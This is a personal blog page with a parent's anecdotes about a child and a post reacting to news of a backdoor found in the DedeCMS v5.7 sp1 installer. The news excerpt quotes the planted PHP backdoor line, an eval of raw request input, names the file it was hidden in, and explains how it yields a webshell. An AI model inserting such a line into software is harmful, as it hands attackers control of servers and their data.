易栈网-膘叔（Neatstudio.COM）

易栈网-膘叔

小朋友趣事二三则

震惊：织梦CMS系统被曝植入后门 70万网站资料或泄露

日志分类

热门标签

日志归档

搜索文章

最新评论

博客信息

友情链接

肖佑阳最近还是很有意思的啦
1、妈妈问他吃什么，他说，你不会打电话问老师吧，不打我就瞎说说吧。然后就真的乱说一通
2、每天看超级变变变，居然知道每天晚上8点半的节目，改到了7点，还知道下午3点半会重播，于是中午睡觉就有了心事，2点半醒了就不会再睡了，看着钟直到3点半。今天睡过头了，丈母娘说一定是闹钟坏了，然后他说，不是坏了，是我睡过头了。然后就很委屈的想哭。
3、基于2的故事，现在知道时间了，知道当前是几点几分。时钟上只有3、6、9、12哦，也能知道当前到底是几点钟了

。。。。突然忘了很多，看来以后还是要及时记录，不然以后就不知道怎么和他说了

看到这个标题的时候，我真的很震惊啊。

新闻内容很短，但很让人震惊，开源软件在国内已经沦落到这种地步了吗？不过，真要说dede开源也不是特别好认为，虽然代码是开源的，但其实并没有很多人为它做过贡献，而在国外，开源软件都代表了很多人参与，国内，果然还是不劳而获的人更多啊。否则象这种问题早就被人发现了。因为没有类似象SVN的工具，谁也不知道究竟这段代码是谁上传的，如果你的项目扔在google code等托管平台上，早就被N个人发现了吧。
---------------

网易科技讯 3月22日消息，瑞星与360今日对外发布警示，称国内知名的PHP开源网站管理系统织梦CMS（DedeCms）v5.7 sp1版本安装包被发现植入后门，黑客可通过此后门直接获得网站的控制权限，获取存储在服务器上的文件和数据库。

据织梦CMS官方数据显示，目前约有70万网站使用该系统搭建，涉及企业、政府机关、媒体机构、行业及个人网站等。

安全界人士分析发现，此次织梦CMS曝出的后门恶意代码存在于购物车类文件（shopcar.class.php）中，此类文件被植入一句后门代码 “@eval(file_get_contents('php://input'));”。凡是调用该购物车类的文件均会触发后门，黑客只需要构造简单的数据包提交到服务器，就能够获取到该网站的WebShell，通过对服务器进一步渗透攻击，进而获取服务器的最高权限，直接访问服务器上的文件、数据库等信息。（易科）

« 2012年03月 »